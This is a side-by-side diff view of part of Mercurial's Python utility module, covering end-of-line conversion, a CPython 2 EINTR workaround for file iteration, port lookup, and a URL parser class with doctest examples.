2771 | |||
2773 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2772 | # Matches a single EOL which can either be a CRLF where repeated CR | |
2774 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2773 | # are removed or a LF. We do not care about old Macintosh files, so a | |
2775 | # stray CR is an error. |
|
2774 | # stray CR is an error. | |
2776 | _eolre = remod.compile(br'\r*\n') |
|
2775 | _eolre = remod.compile(br'\r*\n') | |
2777 |
|
2776 | |||
2778 |
|
2777 | |||
2779 | def tolf(s): |
|
2778 | def tolf(s): | |
2780 | return _eolre.sub(b'\n', s) |
|
2779 | return _eolre.sub(b'\n', s) | |
2781 |
|
2780 | |||
2782 |
|
2781 | |||
2783 | def tocrlf(s): |
|
2782 | def tocrlf(s): | |
2784 | return _eolre.sub(b'\r\n', s) |
|
2783 | return _eolre.sub(b'\r\n', s) | |
2785 |
|
2784 | |||
2786 |
|
2785 | |||
2787 | def _crlfwriter(fp): |
|
2786 | def _crlfwriter(fp): | |
2788 | return transformingwriter(fp, tocrlf) |
|
2787 | return transformingwriter(fp, tocrlf) | |
2789 |
|
2788 | |||
2790 |
|
2789 | |||
2791 | if pycompat.oslinesep == b'\r\n': |
|
2790 | if pycompat.oslinesep == b'\r\n': | |
2792 | tonativeeol = tocrlf |
|
2791 | tonativeeol = tocrlf | |
2793 | fromnativeeol = tolf |
|
2792 | fromnativeeol = tolf | |
2794 | nativeeolwriter = _crlfwriter |
|
2793 | nativeeolwriter = _crlfwriter | |
2795 | else: |
|
2794 | else: | |
2796 | tonativeeol = pycompat.identity |
|
2795 | tonativeeol = pycompat.identity | |
2797 | fromnativeeol = pycompat.identity |
|
2796 | fromnativeeol = pycompat.identity | |
2798 | nativeeolwriter = pycompat.identity |
|
2797 | nativeeolwriter = pycompat.identity | |
2799 |
|
2798 | |||
2800 | if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( |
|
2799 | if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( | |
2801 | 3, |
|
2800 | 3, | |
2802 | 0, |
|
2801 | 0, | |
2803 | ): |
|
2802 | ): | |
2804 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2803 | # There is an issue in CPython that some IO methods do not handle EINTR | |
2805 | # correctly. The following table shows what CPython version (and functions) |
|
2804 | # correctly. The following table shows what CPython version (and functions) | |
2806 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2805 | # are affected (buggy: has the EINTR bug, okay: otherwise): | |
2807 | # |
|
2806 | # | |
2808 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2807 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 | |
2809 | # -------------------------------------------------- |
|
2808 | # -------------------------------------------------- | |
2810 | # fp.__iter__ | buggy | buggy | okay |
|
2809 | # fp.__iter__ | buggy | buggy | okay | |
2811 | # fp.read* | buggy | okay [1] | okay |
|
2810 | # fp.read* | buggy | okay [1] | okay | |
2812 | # |
|
2811 | # | |
2813 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2812 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. | |
2814 | # |
|
2813 | # | |
2815 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2814 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods | |
2816 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2815 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. | |
2817 | # |
|
2816 | # | |
2818 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2817 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: | |
2819 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2818 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in | |
2820 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2819 | # CPython 2, because CPython 2 maintains an internal readahead buffer for | |
2821 | # fp.__iter__ but not other fp.read* methods. |
|
2820 | # fp.__iter__ but not other fp.read* methods. | |
2822 | # |
|
2821 | # | |
2823 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2822 | # On modern systems like Linux, the "read" syscall cannot be interrupted | |
2824 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2823 | # when reading "fast" files like on-disk files. So the EINTR issue only | |
2825 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2824 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) | |
2826 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2825 | # files approximately as "fast" files and use the fast (unsafe) code path, | |
2827 | # to minimize the performance impact. |
|
2826 | # to minimize the performance impact. | |
2828 | if sys.version_info >= (2, 7, 4): |
|
2827 | if sys.version_info >= (2, 7, 4): | |
2829 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2828 | # fp.readline deals with EINTR correctly, use it as a workaround. | |
2830 | def _safeiterfile(fp): |
|
2829 | def _safeiterfile(fp): | |
2831 | return iter(fp.readline, b'') |
|
2830 | return iter(fp.readline, b'') | |
2832 |
|
2831 | |||
2833 | else: |
|
2832 | else: | |
2834 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2833 | # fp.read* are broken too, manually deal with EINTR in a stupid way. | |
2835 | # note: this may block longer than necessary because of bufsize. |
|
2834 | # note: this may block longer than necessary because of bufsize. | |
2836 | def _safeiterfile(fp, bufsize=4096): |
|
2835 | def _safeiterfile(fp, bufsize=4096): | |
2837 | fd = fp.fileno() |
|
2836 | fd = fp.fileno() | |
2838 | line = b'' |
|
2837 | line = b'' | |
2839 | while True: |
|
2838 | while True: | |
2840 | try: |
|
2839 | try: | |
2841 | buf = os.read(fd, bufsize) |
|
2840 | buf = os.read(fd, bufsize) | |
2842 | except OSError as ex: |
|
2841 | except OSError as ex: | |
2843 | # os.read only raises EINTR before any data is read |
|
2842 | # os.read only raises EINTR before any data is read | |
2844 | if ex.errno == errno.EINTR: |
|
2843 | if ex.errno == errno.EINTR: | |
2845 | continue |
|
2844 | continue | |
2846 | else: |
|
2845 | else: | |
2847 | raise |
|
2846 | raise | |
2848 | line += buf |
|
2847 | line += buf | |
2849 | if b'\n' in buf: |
|
2848 | if b'\n' in buf: | |
2850 | splitted = line.splitlines(True) |
|
2849 | splitted = line.splitlines(True) | |
2851 | line = b'' |
|
2850 | line = b'' | |
2852 | for l in splitted: |
|
2851 | for l in splitted: | |
2853 | if l[-1] == b'\n': |
|
2852 | if l[-1] == b'\n': | |
2854 | yield l |
|
2853 | yield l | |
2855 | else: |
|
2854 | else: | |
2856 | line = l |
|
2855 | line = l | |
2857 | if not buf: |
|
2856 | if not buf: | |
2858 | break |
|
2857 | break | |
2859 | if line: |
|
2858 | if line: | |
2860 | yield line |
|
2859 | yield line | |
2861 |
|
2860 | |||
2862 | def iterfile(fp): |
|
2861 | def iterfile(fp): | |
2863 | fastpath = True |
|
2862 | fastpath = True | |
2864 | if type(fp) is file: |
|
2863 | if type(fp) is file: | |
2865 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2864 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) | |
2866 | if fastpath: |
|
2865 | if fastpath: | |
2867 | return fp |
|
2866 | return fp | |
2868 | else: |
|
2867 | else: | |
2869 | return _safeiterfile(fp) |
|
2868 | return _safeiterfile(fp) | |
2870 |
|
2869 | |||
2871 |
|
2870 | |||
2872 | else: |
|
2871 | else: | |
2873 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2872 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. | |
2874 | def iterfile(fp): |
|
2873 | def iterfile(fp): | |
2875 | return fp |
|
2874 | return fp | |
2876 |
|
2875 | |||
2877 |
|
2876 | |||
2878 | def iterlines(iterator): |
|
2877 | def iterlines(iterator): | |
2879 | for chunk in iterator: |
|
2878 | for chunk in iterator: | |
2880 | for line in chunk.splitlines(): |
|
2879 | for line in chunk.splitlines(): | |
2881 | yield line |
|
2880 | yield line | |
2882 |
|
2881 | |||
2883 |
|
2882 | |||
2884 | def expandpath(path): |
|
2883 | def expandpath(path): | |
2885 | return os.path.expanduser(os.path.expandvars(path)) |
|
2884 | return os.path.expanduser(os.path.expandvars(path)) | |
2886 |
|
2885 | |||
2887 |
|
2886 | |||
2888 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2887 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | |
2889 | """Return the result of interpolating items in the mapping into string s. |
|
2888 | """Return the result of interpolating items in the mapping into string s. | |
2890 |
|
2889 | |||
2891 | prefix is a single character string, or a two character string with |
|
2890 | prefix is a single character string, or a two character string with | |
2892 | a backslash as the first character if the prefix needs to be escaped in |
|
2891 | a backslash as the first character if the prefix needs to be escaped in | |
2893 | a regular expression. |
|
2892 | a regular expression. | |
2894 |
|
2893 | |||
2895 | fn is an optional function that will be applied to the replacement text |
|
2894 | fn is an optional function that will be applied to the replacement text | |
2896 | just before replacement. |
|
2895 | just before replacement. | |
2897 |
|
2896 | |||
2898 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2897 | escape_prefix is an optional flag that allows using doubled prefix for | |
2899 | its escaping. |
|
2898 | its escaping. | |
2900 | """ |
|
2899 | """ | |
2901 | fn = fn or (lambda s: s) |
|
2900 | fn = fn or (lambda s: s) | |
2902 | patterns = b'|'.join(mapping.keys()) |
|
2901 | patterns = b'|'.join(mapping.keys()) | |
2903 | if escape_prefix: |
|
2902 | if escape_prefix: | |
2904 | patterns += b'|' + prefix |
|
2903 | patterns += b'|' + prefix | |
2905 | if len(prefix) > 1: |
|
2904 | if len(prefix) > 1: | |
2906 | prefix_char = prefix[1:] |
|
2905 | prefix_char = prefix[1:] | |
2907 | else: |
|
2906 | else: | |
2908 | prefix_char = prefix |
|
2907 | prefix_char = prefix | |
2909 | mapping[prefix_char] = prefix_char |
|
2908 | mapping[prefix_char] = prefix_char | |
2910 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
|
2909 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) | |
2911 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2910 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | |
2912 |
|
2911 | |||
2913 |
|
2912 | |||
2914 | def getport(port): |
|
2913 | def getport(port): | |
2915 | """Return the port for a given network service. |
|
2914 | """Return the port for a given network service. | |
2916 |
|
2915 | |||
2917 | If port is an integer, it's returned as is. If it's a string, it's |
|
2916 | If port is an integer, it's returned as is. If it's a string, it's | |
2918 | looked up using socket.getservbyname(). If there's no matching |
|
2917 | looked up using socket.getservbyname(). If there's no matching | |
2919 | service, error.Abort is raised. |
|
2918 | service, error.Abort is raised. | |
2920 | """ |
|
2919 | """ | |
2921 | try: |
|
2920 | try: | |
2922 | return int(port) |
|
2921 | return int(port) | |
2923 | except ValueError: |
|
2922 | except ValueError: | |
2924 | pass |
|
2923 | pass | |
2925 |
|
2924 | |||
2926 | try: |
|
2925 | try: | |
2927 | return socket.getservbyname(pycompat.sysstr(port)) |
|
2926 | return socket.getservbyname(pycompat.sysstr(port)) | |
2928 | except socket.error: |
|
2927 | except socket.error: | |
2929 | raise error.Abort( |
|
2928 | raise error.Abort( | |
2930 | _(b"no port number associated with service '%s'") % port |
|
2929 | _(b"no port number associated with service '%s'") % port | |
2931 | ) |
|
2930 | ) | |
2932 |
|
2931 | |||
2933 |
|
2932 | |||
2934 | class url(object): |
|
2933 | class url(object): | |
2935 | r"""Reliable URL parser. |
|
2934 | r"""Reliable URL parser. | |
2936 |
|
2935 | |||
2937 | This parses URLs and provides attributes for the following |
|
2936 | This parses URLs and provides attributes for the following | |
2938 | components: |
|
2937 | components: | |
2939 |
|
2938 | |||
2940 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2939 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
2941 |
|
2940 | |||
2942 | Missing components are set to None. The only exception is |
|
2941 | Missing components are set to None. The only exception is | |
2943 | fragment, which is set to '' if present but empty. |
|
2942 | fragment, which is set to '' if present but empty. | |
2944 |
|
2943 | |||
2945 | If parsefragment is False, fragment is included in query. If |
|
2944 | If parsefragment is False, fragment is included in query. If | |
2946 | parsequery is False, query is included in path. If both are |
|
2945 | parsequery is False, query is included in path. If both are | |
2947 | False, both fragment and query are included in path. |
|
2946 | False, both fragment and query are included in path. | |
2948 |
|
2947 | |||
2949 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2948 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
2950 |
|
2949 | |||
2951 | Note that for backward compatibility reasons, bundle URLs do not |
|
2950 | Note that for backward compatibility reasons, bundle URLs do not | |
2952 | take host names. That means 'bundle://../' has a path of '../'. |
|
2951 | take host names. That means 'bundle://../' has a path of '../'. | |
2953 |
|
2952 | |||
2954 | Examples: |
|
2953 | Examples: | |
2955 |
|
2954 | |||
2956 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
2955 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |
2957 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2956 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
2958 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
2957 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |
2959 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2958 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
2960 | >>> url(b'file:///home/joe/repo') |
|
2959 | >>> url(b'file:///home/joe/repo') | |
2961 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2960 | <url scheme: 'file', path: '/home/joe/repo'> | |
2962 | >>> url(b'file:///c:/temp/foo/') |
|
2961 | >>> url(b'file:///c:/temp/foo/') | |
2963 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2962 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
2964 | >>> url(b'bundle:foo') |
|
2963 | >>> url(b'bundle:foo') | |
2965 | <url scheme: 'bundle', path: 'foo'> |
|
2964 | <url scheme: 'bundle', path: 'foo'> | |
2966 | >>> url(b'bundle://../foo') |
|
2965 | >>> url(b'bundle://../foo') | |
2967 | <url scheme: 'bundle', path: '../foo'> |
|
2966 | <url scheme: 'bundle', path: '../foo'> | |
2968 | >>> url(br'c:\foo\bar') |
|
2967 | >>> url(br'c:\foo\bar') | |
2969 | <url path: 'c:\\foo\\bar'> |
|
2968 | <url path: 'c:\\foo\\bar'> | |
2970 | >>> url(br'\\blah\blah\blah') |
|
2969 | >>> url(br'\\blah\blah\blah') | |
2971 | <url path: '\\\\blah\\blah\\blah'> |
|
2970 | <url path: '\\\\blah\\blah\\blah'> | |
2972 | >>> url(br'\\blah\blah\blah#baz') |
|
2971 | >>> url(br'\\blah\blah\blah#baz') | |
2973 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2972 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
2974 | >>> url(br'file:///C:\users\me') |
|
2973 | >>> url(br'file:///C:\users\me') | |
2975 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2974 | <url scheme: 'file', path: 'C:\\users\\me'> | |
2976 |
|
2975 | |||
2977 | Authentication credentials: |
|
2976 | Authentication credentials: | |
2978 |
|
2977 | |||
2979 | >>> url(b'ssh://joe:xyz@x/repo') |
|
2978 | >>> url(b'ssh://joe:xyz@x/repo') | |
2980 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2979 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
2981 | >>> url(b'ssh://joe@x/repo') |
|
2980 | >>> url(b'ssh://joe@x/repo') | |
2982 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2981 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
2983 |
|
2982 | |||
2984 | Query strings and fragments: |
|
2983 | Query strings and fragments: | |
2985 |
|
2984 | |||
2986 | >>> url(b'http://host/a?b#c') |
|
2985 | >>> url(b'http://host/a?b#c') | |
2987 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
2986 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
2988 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
2987 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |
2989 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
2988 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
2990 |
|
2989 | |||
2991 | Empty path: |
|
2990 | Empty path: | |
2992 |
|
2991 | |||
2993 | >>> url(b'') |
|
2992 | >>> url(b'') | |
2994 | <url path: ''> |
|
2993 | <url path: ''> | |
2995 | >>> url(b'#a') |
|
2994 | >>> url(b'#a') | |
2996 | <url path: '', fragment: 'a'> |
|
2995 | <url path: '', fragment: 'a'> | |
2997 | >>> url(b'http://host/') |
|
2996 | >>> url(b'http://host/') | |
2998 | <url scheme: 'http', host: 'host', path: ''> |
|
2997 | <url scheme: 'http', host: 'host', path: ''> | |
2999 | >>> url(b'http://host/#a') |
|
2998 | >>> url(b'http://host/#a') | |
3000 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
2999 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
3001 |
|
3000 | |||
3002 | Only scheme: |
|
3001 | Only scheme: | |
3003 |
|
3002 | |||
3004 | >>> url(b'http:') |
|
3003 | >>> url(b'http:') | |
3005 | <url scheme: 'http'> |
|
3004 | <url scheme: 'http'> | |
3006 | """ |
|
3005 | """ | |
3007 |
|
3006 | |||
3008 | _safechars = b"!~*'()+" |
|
3007 | _safechars = b"!~*'()+" | |
3009 | _safepchars = b"/!~*'()+:\\" |
|
3008 | _safepchars = b"/!~*'()+:\\" | |
3010 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
|
3009 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | |
3011 |
|
3010 | |||
3012 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
3011 | def __init__(self, path, parsequery=True, parsefragment=True): | |
3013 | # We slowly chomp away at path until we have only the path left |
|
3012 | # We slowly chomp away at path until we have only the path left | |
3014 | self.scheme = self.user = self.passwd = self.host = None |
|
3013 | self.scheme = self.user = self.passwd = self.host = None | |
3015 | self.port = self.path = self.query = self.fragment = None |
|
3014 | self.port = self.path = self.query = self.fragment = None | |
3016 | self._localpath = True |
|
3015 | self._localpath = True | |
3017 | self._hostport = b'' |
|
3016 | self._hostport = b'' | |
3018 | self._origpath = path |
|
3017 | self._origpath = path | |
3019 |
|
3018 | |||
3020 | if parsefragment and b'#' in path: |
|
3019 | if parsefragment and b'#' in path: | |
3021 | path, self.fragment = path.split(b'#', 1) |
|
3020 | path, self.fragment = path.split(b'#', 1) | |
3022 |
|
3021 | |||
3023 | # special case for Windows drive letters and UNC paths |
|
3022 | # special case for Windows drive letters and UNC paths | |
3024 | if hasdriveletter(path) or path.startswith(b'\\\\'): |
|
3023 | if hasdriveletter(path) or path.startswith(b'\\\\'): | |
3025 | self.path = path |
|
3024 | self.path = path | |
3026 | return |
|
3025 | return | |
3027 |
|
3026 | |||
3028 | # For compatibility reasons, we can't handle bundle paths as |
|
3027 | # For compatibility reasons, we can't handle bundle paths as | |
3029 | # normal URLS |
|
3028 | # normal URLS | |
3030 | if path.startswith(b'bundle:'): |
|
3029 | if path.startswith(b'bundle:'): | |
3031 | self.scheme = b'bundle' |
|
3030 | self.scheme = b'bundle' | |
3032 | path = path[7:] |
|
3031 | path = path[7:] | |
3033 | if path.startswith(b'//'): |
|
3032 | if path.startswith(b'//'): | |
3034 | path = path[2:] |
|
3033 | path = path[2:] | |
3035 | self.path = path |
|
3034 | self.path = path | |
3036 | return |
|
3035 | return | |
3037 |
|
3036 | |||
3038 | if self._matchscheme(path): |
|
3037 | if self._matchscheme(path): | |
3039 | parts = path.split(b':', 1) |
|
3038 | parts = path.split(b':', 1) | |
3040 | if parts[0]: |
|
3039 | if parts[0]: | |
3041 | self.scheme, path = parts |
|
3040 | self.scheme, path = parts | |
3042 | self._localpath = False |
|
3041 | self._localpath = False | |
3043 |
|
3042 | |||
3044 | if not path: |
|
3043 | if not path: | |
3045 | path = None |
|
3044 | path = None | |
3046 | if self._localpath: |
|
3045 | if self._localpath: | |
3047 | self.path = b'' |
|
3046 | self.path = b'' | |
3048 | return |
|
3047 | return | |
3049 | else: |
|
3048 | else: | |
3050 | if self._localpath: |
|
3049 | if self._localpath: | |
3051 | self.path = path |
|
3050 | self.path = path | |
3052 | return |
|
3051 | return | |
3053 |
|
3052 | |||
3054 | if parsequery and b'?' in path: |
|
3053 | if parsequery and b'?' in path: | |
3055 | path, self.query = path.split(b'?', 1) |
|
3054 | path, self.query = path.split(b'?', 1) | |
3056 | if not path: |
|
3055 | if not path: | |
3057 | path = None |
|
3056 | path = None | |
3058 | if not self.query: |
|
3057 | if not self.query: | |
3059 | self.query = None |
|
3058 | self.query = None | |
3060 |
|
3059 | |||
3061 | # // is required to specify a host/authority |
|
3060 | # // is required to specify a host/authority | |
3062 | if path and path.startswith(b'//'): |
|
3061 | if path and path.startswith(b'//'): | |
3063 | parts = path[2:].split(b'/', 1) |
|
3062 | parts = path[2:].split(b'/', 1) | |
3064 | if len(parts) > 1: |
|
3063 | if len(parts) > 1: | |
3065 | self.host, path = parts |
|
3064 | self.host, path = parts | |
3066 | else: |
|
3065 | else: | |
3067 | self.host = parts[0] |
|
3066 | self.host = parts[0] | |
3068 | path = None |
|
3067 | path = None | |
3069 | if not self.host: |
|
3068 | if not self.host: | |
3070 | self.host = None |
|
3069 | self.host = None | |
3071 | # path of file:///d is /d |
|
3070 | # path of file:///d is /d | |
3072 | # path of file:///d:/ is d:/, not /d:/ |
|
3071 | # path of file:///d:/ is d:/, not /d:/ | |
3073 | if path and not hasdriveletter(path): |
|
3072 | if path and not hasdriveletter(path): | |
3074 | path = b'/' + path |
|
3073 | path = b'/' + path | |
3075 |
|
3074 | |||
3076 | if self.host and b'@' in self.host: |
|
3075 | if self.host and b'@' in self.host: | |
3077 | self.user, self.host = self.host.rsplit(b'@', 1) |
|
3076 | self.user, self.host = self.host.rsplit(b'@', 1) | |
3078 | if b':' in self.user: |
|
3077 | if b':' in self.user: | |
3079 | self.user, self.passwd = self.user.split(b':', 1) |
|
3078 | self.user, self.passwd = self.user.split(b':', 1) | |
3080 | if not self.host: |
|
3079 | if not self.host: | |
3081 | self.host = None |
|
3080 | self.host = None | |
3082 |
|
3081 | |||
3083 | # Don't split on colons in IPv6 addresses without ports |
|
3082 | # Don't split on colons in IPv6 addresses without ports | |
3084 | if ( |
|
3083 | if ( | |
3085 | self.host |
|
3084 | self.host | |
3086 | and b':' in self.host |
|
3085 | and b':' in self.host | |
3087 | and not ( |
|
3086 | and not ( | |
3088 | self.host.startswith(b'[') and self.host.endswith(b']') |
|
3087 | self.host.startswith(b'[') and self.host.endswith(b']') | |
3089 | ) |
|
3088 | ) | |
3090 | ): |
|
3089 | ): | |
3091 | self._hostport = self.host |
|
3090 | self._hostport = self.host | |
3092 | self.host, self.port = self.host.rsplit(b':', 1) |
|
3091 | self.host, self.port = self.host.rsplit(b':', 1) | |
3093 | if not self.host: |
|
3092 | if not self.host: | |
3094 | self.host = None |
|
3093 | self.host = None | |
3095 |
|
3094 | |||
3096 | if ( |
|
3095 | if ( | |
3097 | self.host |
|
3096 | self.host | |
3098 | and self.scheme == b'file' |
|
3097 | and self.scheme == b'file' | |
3099 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
|
3098 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | |
3100 | ): |
|
3099 | ): | |
3101 | raise error.Abort( |
|
3100 | raise error.Abort( | |
3102 | _(b'file:// URLs can only refer to localhost') |
|
3101 | _(b'file:// URLs can only refer to localhost') | |
3103 | ) |
|
3102 | ) | |
3104 |
|
3103 | |||
3105 | self.path = path |
|
3104 | self.path = path | |
3106 |
|
3105 | |||
3107 | # leave the query string escaped |
|
3106 | # leave the query string escaped | |
3108 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
|
3107 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | |
3109 | v = getattr(self, a) |
|
3108 | v = getattr(self, a) | |
3110 | if v is not None: |
|
3109 | if v is not None: | |
3111 | setattr(self, a, urlreq.unquote(v)) |
|
3110 | setattr(self, a, urlreq.unquote(v)) | |
3112 |
|
3111 | |||
3113 | @encoding.strmethod |
|
3112 | @encoding.strmethod | |
3114 | def __repr__(self): |
|
3113 | def __repr__(self): | |
3115 | attrs = [] |
|
3114 | attrs = [] | |
3116 | for a in ( |
|
3115 | for a in ( | |
3117 | b'scheme', |
|
3116 | b'scheme', | |
3118 | b'user', |
|
3117 | b'user', | |
3119 | b'passwd', |
|
3118 | b'passwd', | |
3120 | b'host', |
|
3119 | b'host', | |
3121 | b'port', |
|
3120 | b'port', | |
3122 | b'path', |
|
3121 | b'path', | |
3123 | b'query', |
|
3122 | b'query', | |
3124 | b'fragment', |
|
3123 | b'fragment', | |
3125 | ): |
|
3124 | ): | |
3126 | v = getattr(self, a) |
|
3125 | v = getattr(self, a) | |
3127 | if v is not None: |
|
3126 | if v is not None: | |
3128 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
|
3127 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | |
3129 | return b'<url %s>' % b', '.join(attrs) |
|
3128 | return b'<url %s>' % b', '.join(attrs) | |
3130 |
|
3129 | |||
3131 | def __bytes__(self): |
|
3130 | def __bytes__(self): | |
3132 | r"""Join the URL's components back into a URL string. |
|
3131 | r"""Join the URL's components back into a URL string. | |
3133 |
|
3132 | |||
3134 | Examples: |
|
3133 | Examples: | |
3135 |
|
3134 | |||
3136 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
3135 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
3137 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
3136 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
3138 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
3137 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |
3139 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
3138 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
3140 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
3139 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |
3141 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
3140 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
3142 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
3141 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |
3143 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
3142 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
3144 | >>> bytes(url(b'http://localhost:80//')) |
|
3143 | >>> bytes(url(b'http://localhost:80//')) | |
3145 | 'http://localhost:80//' |
|
3144 | 'http://localhost:80//' | |
3146 | >>> bytes(url(b'http://localhost:80/')) |
|
3145 | >>> bytes(url(b'http://localhost:80/')) | |
3147 | 'http://localhost:80/' |
|
3146 | 'http://localhost:80/' | |
3148 | >>> bytes(url(b'http://localhost:80')) |
|
3147 | >>> bytes(url(b'http://localhost:80')) | |
3149 | 'http://localhost:80/' |
|
3148 | 'http://localhost:80/' | |
3150 | >>> bytes(url(b'bundle:foo')) |
|
3149 | >>> bytes(url(b'bundle:foo')) | |
3151 | 'bundle:foo' |
|
3150 | 'bundle:foo' | |
3152 | >>> bytes(url(b'bundle://../foo')) |
|
3151 | >>> bytes(url(b'bundle://../foo')) | |
3153 | 'bundle:../foo' |
|
3152 | 'bundle:../foo' | |
3154 | >>> bytes(url(b'path')) |
|
3153 | >>> bytes(url(b'path')) | |
3155 | 'path' |
|
3154 | 'path' | |
3156 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
3155 | >>> bytes(url(b'file:///tmp/foo/bar')) | |
3157 | 'file:///tmp/foo/bar' |
|
3156 | 'file:///tmp/foo/bar' | |
3158 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
3157 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |
3159 | 'file:///c:/tmp/foo/bar' |
|
3158 | 'file:///c:/tmp/foo/bar' | |
3160 | >>> print(url(br'bundle:foo\bar')) |
|
3159 | >>> print(url(br'bundle:foo\bar')) | |
3161 | bundle:foo\bar |
|
3160 | bundle:foo\bar | |
3162 | >>> print(url(br'file:///D:\data\hg')) |
|
3161 | >>> print(url(br'file:///D:\data\hg')) | |
3163 | file:///D:\data\hg |
|
3162 | file:///D:\data\hg | |
3164 | """ |
|
3163 | """ | |
3165 | if self._localpath: |
|
3164 | if self._localpath: | |
3166 | s = self.path |
|
3165 | s = self.path | |
3167 | if self.scheme == b'bundle': |
|
3166 | if self.scheme == b'bundle': | |
3168 | s = b'bundle:' + s |
|
3167 | s = b'bundle:' + s | |
3169 | if self.fragment: |
|
3168 | if self.fragment: | |
3170 | s += b'#' + self.fragment |
|
3169 | s += b'#' + self.fragment | |
